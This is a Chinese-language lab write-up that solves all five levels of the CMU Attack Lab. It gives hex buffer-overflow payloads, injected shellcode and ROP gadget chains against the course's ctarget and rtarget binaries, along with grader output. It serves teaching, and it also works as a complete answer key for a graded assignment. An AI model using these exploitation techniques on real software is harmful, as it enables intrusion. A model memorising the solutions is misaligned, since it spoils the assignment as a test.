Attack Lab miniWiki

问题描述

设定

现有两个存在『缓冲区溢出 (buffer overflow)』风险的 x86-64 可执行文件:

  • ctarget 可能遭受『CI (code injection)』攻击(对应第 1~3 关)。
  • rtarget 可能遭受『ROP (return-oriented programming)』攻击(对应第 4~5 关)。
  • 此处可下载这两个文件。本地运行时应开启 -q 选项,以避免连接评分服务器。

任务

利用上述漏洞,植入攻击代码,改变程序行为。此处可下载详细说明。

ctarget

第一关

函数 getbuf() 的 C 代码和汇编码分别为

unsigned getbuf() {
  char buf[BUFFER_SIZE];
  Gets(buf);
  return 1;
}
(gdb) disassemble getbuf 
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:     sub    rsp,0x28 ; 40
   0x00000000004017ac <+4>:     mov    rdi,rsp
   0x00000000004017af <+7>:     call   0x401a40 <Gets>
   0x00000000004017b4 <+12>:    mov    eax,0x1
   0x00000000004017b9 <+17>:    add    rsp,0x28
   0x00000000004017bd <+21>:    ret    
End of assembler dump.

由此可见:旧栈顶(即 R[rsp] 的旧值)位于 &buf[0] 后 40 字节处。在调试器中,设断点于 <+4> 处,查看始于 R[rsp]+40 的 8 字节:

(lldb) x/8bx $rsp+40
0x5561dca0: 0x0000000000401976

此地址值的确为调用者 test() 中紧跟在 call <getbuf> 后的下一条指令的地址:

(gdb) disassemble test 
Dump of assembler code for function test:
   0x0000000000401968 <+0>:     sub    rsp,0x8
   0x000000000040196c <+4>:     mov    eax,0x0
   0x0000000000401971 <+9>:     call   0x4017a8 <getbuf>
   0x0000000000401976 <+14>:    mov    edx,eax
; ...

故只需将 touch1() 的地址 0x00000000004017c0 植入始于 &buf[40] 的 8 字节,逻辑上相当于在 C 代码中植入以下赋值语句:

buf[40] = 0xc0;
buf[41] = 0x17;
buf[42] = 0x40;
buf[43] = buf[44] = buf[45] = buf[46] = buf[47] = 0x00;

具体步骤:

  1. 创建含有以下内容(前 40 个字符相对随意,避开 0x0a\n 即可)的 exploit.txt 文件:

    /* buf[00,10) */ 30 31 32 33 34 35 36 37 38 39
    /* buf[10,20) */ 30 31 32 33 34 35 36 37 38 39
    /* buf[20,30) */ 30 31 32 33 34 35 36 37 38 39
    /* buf[30,40) */ 30 31 32 33 34 35 36 37 38 39
    c0 17 40 00 00 00 00 00 /* address of touch1() */
    
  2. 利用 hex2raw 将上述文件转化为字符串:

    $ ./hex2raw < exploit.txt > exploit-raw.txt
    
  3. 利用 管道hex2raw 的输出 绑定到 ctarget 的输入

    $ ./ctarget -q -i exploit-raw.txt
    
  4. 后两步可合并为

    $ cat exploit.txt | ./hex2raw | ./ctarget -q
    

最终得以下输出

Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 C0 17 40 00 00 00 00 00 

第二关

需要植入的指令为:

; exploit.s
mov  edi, 0x59b997fa ; cookie
push 0x004017ec      ; address of touch2()
ret

先汇编,再反汇编:

$ nasm -f elf64 -o exploit.o exploit.s
$ objdump -d exploit.o

得以下输出(⚠️ 汇编代码换成了 ATT 格式):

exploit.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   bf fa 97 b9 59          mov    $0x59b997fa,%edi
   5:   68 ec 17 40 00          pushq  $0x4017ec
   a:   c3                      retq

为便于调试,按每行 8 字节排列,并以 0x90nop 指令占位:

/* exploit.txt */
/* 0x5561dc78 */ 90 90 90 90 90 90 90 90
/* 0x5561dc80 */ bf fa 97 b9 59 /* mov  */ 90 90 90
/* 0x5561dc88 */ 68 ec 17 40 00 /* push */ 90 90 90
/* 0x5561dc90 */ c3 /* retq */ 90 90 90 90 90 90 90
/* 0x5561dc98 */ 90 90 90 90 90 90 90 90
/* 0x5561dca0 */ 78 dc 61 55 00 00 00 00 /* 0x5561dca0 - 40 */
$ cat exploit.txt | ./hex2raw | ./ctarget -q

最终得以下输出:

Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:2:90 90 90 90 90 90 90 90 BF FA 97 B9 59 90 90 90 68 EC 17 40 00 90 90 90 C3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 78 DC 61 55 00 00 00 00 

第三关

先用 man ascii 查到字符串 59b997fa 的十六进制表示:

35 39 62 39 39 37 66 61

与前一关不同,这里不能直接将其写入 getbuf() 的帧内,而应将其压入栈内(并补一个空字符),故需植入的指令为:

; exploit.s
push 0x0 ; 字符串尾
mov  rdi, 0x6166373939623935 ; 直接压栈无法编译
push rdi                     ; 故分作两步
mov  rdi, rsp ; 设置 touch3() 的实参
push 0x4018fa ; touch3() 的地址
ret

先汇编,再反汇编:

$ nasm -f elf64 exploit.s && objdump -d exploit.o

得以下输出:

exploit.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   6a 00                   pushq  $0x0
   2:   48 bf 35 39 62 39 39    movabs $0x6166373939623935,%rdi
   9:   37 66 61 
   c:   57                      push   %rdi
   d:   48 89 e7                mov    %rsp,%rdi
  10:   68 fa 18 40 00          pushq  $0x4018fa
  15:   c3                      retq

将指令编码编入 exploit.txt 的前半部分,并确保 0xc3 的地址位于 0x5561dc90 之前:

/* exploit.txt */
/* 0x5561dc78 */ 6a 00 /* pushq */
/* 0x5561dc7a */ 48 bf 35 39 62 39 39 37 66 61 /* movabs */
/* 0x5561dc84 */ 57 /* push */
/* 0x5561dc85 */ 48 89 e7 /* mov */
/* 0x5561dc88 */ 68 fa 18 40 00 /* pushq */ 
/* 0x5561dc8d */ c3 /* retq */ 90 90
/* 0x5561dc90 */ 90 90 90 90 90 90 90 90
/* 0x5561dc98 */ 90 90 90 90 90 90 90 90
/* 0x5561dca0 */ 78 dc 61 55 00 00 00 00

之所以要这样安排,是因为

  • 执行完 getbuf()retq 指令后,栈顶 R[rsp] 位于 0x5561dca8 处。
  • 执行三次 pushq 指令后,栈顶位于 0x5561dc90 处。
  • 若指令位于栈内,执行时会发生 Segmentation Fault。

最终得以下输出:

Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:6A 00 48 BF 35 39 62 39 39 37 66 61 57 48 89 E7 68 FA 18 40 00 C3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 78 DC 61 55 00 00 00 00

rtarget

第四关

先用 objdump -d 获得 rtarget 的编码:

$ objdump -d -x86-asm-syntax=intel rtarget > rtarget.d

start_farmmid_farm 之间(可存入 half_farm.d 以便检索),编码 0xc3 共出现 13 次 —— 可用指令只能取自这 13 处。

cookie 的编码几乎不可能出现在 half_farm.d 内,故不能像第二关那样用 mov 直接移入寄存器,而必须借 getbuf() 植入栈内,并借 pop 指令取出。因此,实现 touch2(cookie) 的最简单的方案为

; M[R[rsp]] = 0x59b997fa, which is my cookie
pop rdi ; 5f (90)*
; M[R[rsp]] = 0x4017ec, which is the address of touch2()
ret     ; c3

5f (90)* c3 并没有出现在 half_farm.d 内,故需借其他寄存器过渡:

pop rax      ; 58 (90)* c3
mov rdi, rax ; 48 89 c7 (90)* c3
ret          ; c3

half_farm.d 内检索得:

  • 58 90 c30x4019ab0x4019cc 各出现一次。
  • 48 89 c7 c30x4019a2 出现一次,48 89 c7 90 c30x4019c5 出现一次。

分别二选一,填入 exploit.txt 的适当位置:

/* exploit.txt */
/* buf[00, 08) */ 90 90 90 90 90 90 90 90
/* buf[08, 16) */ 90 90 90 90 90 90 90 90
/* buf[16, 24) */ 90 90 90 90 90 90 90 90
/* buf[24, 32) */ 90 90 90 90 90 90 90 90
/* buf[32, 40) */ 90 90 90 90 90 90 90 90
/* buf[40, 48) */ ab 19 40 00 00 00 00 00 /* pop */
/* buf[48, 56) */ fa 97 b9 59 00 00 00 00 /* cookie */
/* buf[56, 64) */ a2 19 40 00 00 00 00 00 /* mov */
/* buf[64, 72) */ ec 17 40 00 00 00 00 00 /* touch2 */
$ cat exploit.txt | ./hex2raw | ./rtarget -q

最终得以下输出:

Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:2:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 

第五关

start_farmend_farm 之间(可存入 full_farm.d 以便检索),编码 0xc3 共出现 50 次 —— 可用指令只能取自这 50 处。

本关难点在于:

  • 退出 getbuf() 时,存于栈内的字符串必须完整地位于栈顶以上,即字符串的首地址不得小于 R[rsp] + 8,否则 touch3()hexmatch() 的帧将破坏该字符串。
  • add_xy() 中的 leaq 指令外,没有提供其他算术运算指令,因此无法直接算出 R[rsp]+8 的值。
  • 除退出 getbuf() 时有 R[rax] == 1 外,没有提供其他常数 —— 特别是地址运算中常用的 81632 等。

一种可行(但较为繁琐)的方案为:先(反复)用 add_xy()R[rax] 构造出所需的地址偏移量,再用 add_xy() 算出字符串的地址。

可用的 mov 指令如下:

  • 用正则表达式 48 89 [cdef] 搜索可用的 movq 指令,得 9 处:
    • 48 89 c7 出现 3 次,其中可用作 movq %rax, %rdi 的有
      • 始于 0x4019a248 89 c7 c3
      • 始于 0x4019c548 89 c7 90 c3
    • 48 89 e0 出现 6 次,其中可用作 movq %rsp, %rax 的有
      • 始于 0x401a0648 89 e0 c3
      • 始于 0x401aad48 89 e0 90 c3
    • 不存以 %rsp 为目标的 movq 指令(即 48 89 [cdef][4c]),故 %rsp 只能被 popqretq 修改。
  • 用正则表达式 89 [cdef] 搜索可用的 movl 指令,并排除 48 89 [cdef]movq 指令,得 16 处:
    • 89 c2 出现 6 次,其中可用作 movl %eax, %edx 的有
      • 始于 0x4019dd89 c2 90 c3
      • 始于 0x401a4289 c2 84 c0 c3
    • 89 ce 出现 4 次,其中可用作 movl %ecx, %esi 的有
      • 始于 0x401a1389 ce 90 90 c3
      • 始于 0x401a2789 ce 38 c0 c3
    • 89 d1 出现 4 次,其中可用作 movl %edx, %ecx 的有
      • 始于 0x401a3489 d1 38 c9 c3
      • 始于 0x401a6889 d1 08 db c3
    • 89 e0 出现 2 次,略去不用。

借助这些指令,可以构造出 2 的整数次幂:

ret ; to 0x4019a2 --- the address of `mov rdi, rax`
; R[rax] == 1
mov rdi, rax ; 48 89 c7
ret ; to 0x4019dd --- the address of `mov edx, eax`
mov edx, eax ; 89 c2
ret ; to 0x401a34 --- the address of `mov ecx, edx`
mov ecx, edx ; 89 d1 (38 c9)
ret ; to 0x401a13 --- the address of `mov esi, ecx`
mov esi, ecx ; 89 ce (90 90)
ret ; to 0x4019d6 --- the address of `add_xy()`
lea rax, [rdi + rsi] ; 48 8d 04 37
ret ; to 0x4019a2 --- the address of `mov rdi, rax`
; R[rax] == 2, R[rsi] == 1, R[rsi] == 1

除第一行外,其他部分重复四次,可得

; R[rax] == 32, R[rdi] == 16, R[rsi] == 16

R[rax] 中的 32 移入 R[rsi],但最后一步的返回地址换为 mov rax, rsp 的地址:

mov rdi, rax ; 48 89 c7 --- optional
ret ; to 0x4019dd --- the address of `mov edx, eax`
mov edx, eax ; 89 c2
ret ; to 0x401a34 --- the address of `mov ecx, edx`
mov ecx, edx ; 89 d1 (38 c9)
ret ; to 0x401a13 --- the address of `mov esi, ecx`
mov esi, ecx ; 89 ce (90 90)
ret ; to 0x401a06 --- the address of `mov rax, rsp`

期望 sval 始于 R[rsp] + 32 处,故作如下地址偏移计算:

; sval = R[rsp] + 32, R[rsi] = 32
mov rax, rsp ; 48 89 e0
ret ; to 0x4019a2 --- the address of `mov rdi, rax`
mov rdi, rax ; 48 89 c7
ret ; to 0x4019d6 --- the address of `add_xy()`
lea rax, [rdi + rsi]
ret ; to 0x4019a2 --- the address of `mov rdi, rax`
mov rdi, rax ; 48 89 c7
; sval = R[rsp] + 8
ret ; to `0x4018fa`, which is the address of `touch3()`
; sval = R[rdi]

将上述指令整理为输入:

/* exploit.txt */
/* buf[00, 08) */ 90 90 90 90 90 90 90 90
/* buf[08, 16) */ 90 90 90 90 90 90 90 90
/* buf[16, 24) */ 90 90 90 90 90 90 90 90
/* buf[24, 32) */ 90 90 90 90 90 90 90 90
/* buf[32, 40) */ 90 90 90 90 90 90 90 90
/*  0  */ a2 19 40 00 00 00 00 00
/* -01 */ dd 19 40 00 00 00 00 00
/* -02 */ 34 1a 40 00 00 00 00 00
/* -03 */ 13 1a 40 00 00 00 00 00
/* -04 */ d6 19 40 00 00 00 00 00
/* -05 */ a2 19 40 00 00 00 00 00
/* -06 */ dd 19 40 00 00 00 00 00
/* -07 */ 34 1a 40 00 00 00 00 00
/* -08 */ 13 1a 40 00 00 00 00 00
/* -09 */ d6 19 40 00 00 00 00 00
/* -10 */ a2 19 40 00 00 00 00 00
/* -11 */ dd 19 40 00 00 00 00 00
/* -12 */ 34 1a 40 00 00 00 00 00
/* -13 */ 13 1a 40 00 00 00 00 00
/* -14 */ d6 19 40 00 00 00 00 00
/* -15 */ a2 19 40 00 00 00 00 00
/* -16 */ dd 19 40 00 00 00 00 00
/* -17 */ 34 1a 40 00 00 00 00 00
/* -18 */ 13 1a 40 00 00 00 00 00
/* -19 */ d6 19 40 00 00 00 00 00
/* -20 */ a2 19 40 00 00 00 00 00
/* -21 */ dd 19 40 00 00 00 00 00
/* -22 */ 34 1a 40 00 00 00 00 00
/* -23 */ 13 1a 40 00 00 00 00 00
/* -24 */ d6 19 40 00 00 00 00 00
/* -25 */ a2 19 40 00 00 00 00 00
/* -26 */ dd 19 40 00 00 00 00 00
/* -27 */ 34 1a 40 00 00 00 00 00
/* -28 */ 13 1a 40 00 00 00 00 00
/* mov rax, rsp */ 06 1a 40 00 00 00 00 00
/* mov rdi, rax */ a2 19 40 00 00 00 00 00
/* add_xy */ d6 19 40 00 00 00 00 00
/* mov rdi, rax */ a2 19 40 00 00 00 00 00
/* touch3 */ fa 18 40 00 00 00 00 00
/* cookie */ 35 39 62 39 39 37 66 61
/*  tail  */ 00
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:3:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 A2 19 40 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 01 02 03 04 05